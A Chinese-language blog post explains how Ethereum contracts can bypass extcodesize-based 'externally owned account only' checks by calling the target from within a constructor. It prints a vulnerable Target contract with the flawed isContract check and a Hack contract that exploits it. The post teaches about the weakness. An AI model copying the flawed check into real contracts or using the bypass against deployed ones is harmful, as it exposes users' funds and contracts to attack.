合约安全:绕开外部用户地址(EOA)检查

一、背景

以太坊的地址,可能是外部用户地址(Externally Owned Accounts ,缩写EOA),也可能是合约地址。有时候想要区分这两种地址,或者说,很多时候是限制其他合约地址进行跨合约调用,以防止发生黑客攻击。这会用到一个EVM指令:extcodesize

这个指令可以获取地址关联代码长度

比如下面的这个合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract Test {
    function getAddressCodeSize(address account) public view returns (uint size) {
        assembly {
            size := extcodesize(account)
        }
    }
}

contract Demo {
    constructor() {}
}

我们可以测出,Demo合约的长度是63,而一个普通用户的长度为0。

但是存在漏洞,可以绕开EOA检查。

二、漏洞

漏洞就在于,如果攻击合约在构造函数中进行跨合约调用,那么此时的extcodesize返回的关联地址代码长度也为0,即可判定为EOA地址。因为只有当合约的构造函数执行完成,合约代码才会保存下来。

还记得我们之前在《以太坊Transaction中的三种data解析以及bytecode和deployedBytecode的区别》末尾提到过的bytecodedeployedBytecode的区别吗?

bytecode和deployedBytecode
以太坊节点保存的其实是deployedBytecode,它去掉了初次部署才会执行的构造函数代码。

如下合约可以表现出这个漏洞:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract Target {
    function isContract(address account) public view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), "no contract allowed");
        pwned = true;
    }
}

contract FailedAttack {
    // Attempting to call Target.protected will fail,
    // Target block calls from contract
    function pwn(address _target) external {
        // This will fail
        Target(_target).protected();
    }
}

contract Hack {
    bool public isContract;
    address public addr;

    // When contract is being created, code size (extcodesize) is 0.
    // This will bypass the isContract() check
    constructor(address _target) {
        isContract = Target(_target).isContract(address(this));
        addr = address(this);
        // This will work
        Target(_target).protected();
    }
}

这个合约做了EOA检查,一般的攻击合约如FailedAttack没有办法攻破,但是当Hack中直接在constructor函数里跨合约调用的话,就可以绕过EOA检查了。

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容